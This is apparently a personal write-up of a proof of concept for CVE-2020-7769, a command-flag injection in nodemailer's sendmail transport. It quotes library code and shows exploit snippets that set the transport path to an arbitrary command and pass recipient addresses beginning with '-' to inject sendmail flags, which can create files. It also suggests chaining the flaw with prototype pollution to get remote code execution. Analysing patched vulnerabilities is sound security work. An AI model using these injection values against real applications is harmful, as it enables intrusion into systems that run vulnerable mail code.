# [POC] CVE-2020-7769 - Command Injection in nodemailer ## Introduction [Command Injection in nodemailer](https://security.snyk.io/vuln/SNYK-JS-NODEMAILER-1038834) Someday, i read some product code and found out that application using nodemailer to send email. After spending some second to audit **package-lock** file, i saw it had this CVE. But i read that details and their POC, i still not understand what they want to deliver. Found their commit to fix their bug and already know where the bug from https://github.com/nodemailer/nodemailer/commit/ba31c64c910d884579875c52d57ac45acc47aa54 It comes from __send__ function, with arbitrary command flag injection in **sendmail** transport. ![](https://hackmd.io/_uploads/BJ21FoZCh.png) ## POC I found they have their test case that ``` client.send( { data: {}, message: new MockBuilder( { from: 'test@valid.sender', to: '-d0.1a@example.com' //this line will print sendmail detail }, 'message\r\nline 2' ) }, function (err, data) { } ); ``` Yeah it just work on **Unix-base OS** and i test it with my Windows laptop :))))) But I dig deeper and find some good things ``` constructor(options) { options = options || {}; // use a reference to spawn for mocking purposes this._spawn = spawn; this.options = options || {}; this.name = 'Sendmail'; this.version = packageData.version; this.path = 'sendmail'; this.args = false; this.winbreak = false; this.logger = shared.getLogger(this.options, { component: this.options.component || 'sendmail' }); if (options) { if (typeof options === 'string') { this.path = options; } else if (typeof options === 'object') { if (options.path) { this.path = options.path; } if (Array.isArray(options.args)) { this.args = options.args; } this.winbreak = ['win', 'windows', 'dos', '\r\n'].includes((options.newline || '').toString().toLowerCase()); } } } ``` This is their constructor and we can find good things that we can control **path, args** variable by passing these property in **options** So i craft this one to exploit ``` let client = new SendmailTransport({ host: "smtp.ethereal.email", port: 587, secure: false, auth: { user: "rudolph53@ethereal.email", //fake email pass: "sR3KWXG8p3DhUrwant", //fake pass }, path: 'ls', args: ['-al'] }); client.send({ data: {}, message: new MockBuilder({ from: 'rudolph53@ethereal.email', to: '/' //this is directory }, 'message\r\nline 2') }, (err, info) => { }) ``` It will list all file in directory / But i see that almost developer don’t use send function to send email, they use **sendMail** instead Then i have to read code again and i found we can exploit not just from **send** function. In this code in library ``` module.exports.createTransport = function (transporter, defaults) { let urlConfig; let options; let mailer; if ( // provided transporter is a configuration object, not transporter plugin (typeof transporter === 'object' && typeof transporter.send !== 'function') || // provided transporter looks like a connection url (typeof transporter === 'string' && /^(smtps?|direct):/i.test(transporter)) ) { if ((urlConfig = typeof transporter === 'string' ? transporter : transporter.url)) { // parse a configuration URL into configuration options options = shared.parseConnectionUrl(urlConfig); } else { options = transporter; } if (options.pool) { transporter = new SMTPPool(options); } else if (options.sendmail) { transporter = new SendmailTransport(options); } else if (options.streamTransport) { transporter = new StreamTransport(options); } else if (options.jsonTransport) { transporter = new JSONTransport(options); } else if (options.SES) { transporter = new SESTransport(options); } else { transporter = new SMTPTransport(options); } } mailer = new Mailer(transporter, options, defaults); return mailer; }; ``` It will bind **new SendmailTransport** if in options contain property **sendmail** So i will define **sendmail** property without falsy value like this one, and tada we can inject command flag ``` const transport = nodeMailer.createTransport({ host: "smtp.ethereal.email", port: 587, secure: false, auth: { user: "rudolph53@ethereal.email", pass: "sR3KWXG8p3DhUrwant", }, sendmail: {} //define without falsy value }) transport.sendMail({ from: 'rudolph53@ethereal.email', to: '-Dabcas.txt@ethereal.email', //it will create file subject: '123', text: 'sibaaa' }) ``` But if we can find in that application have vulnerable with Prototype Pollution, you can RCE it with this one https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#spawn-exploitation Because it use **spawn** of **child_process** that i show before And that application will f* up :))))))) So, i show you 2 ways to exploit with that CVE, kkkk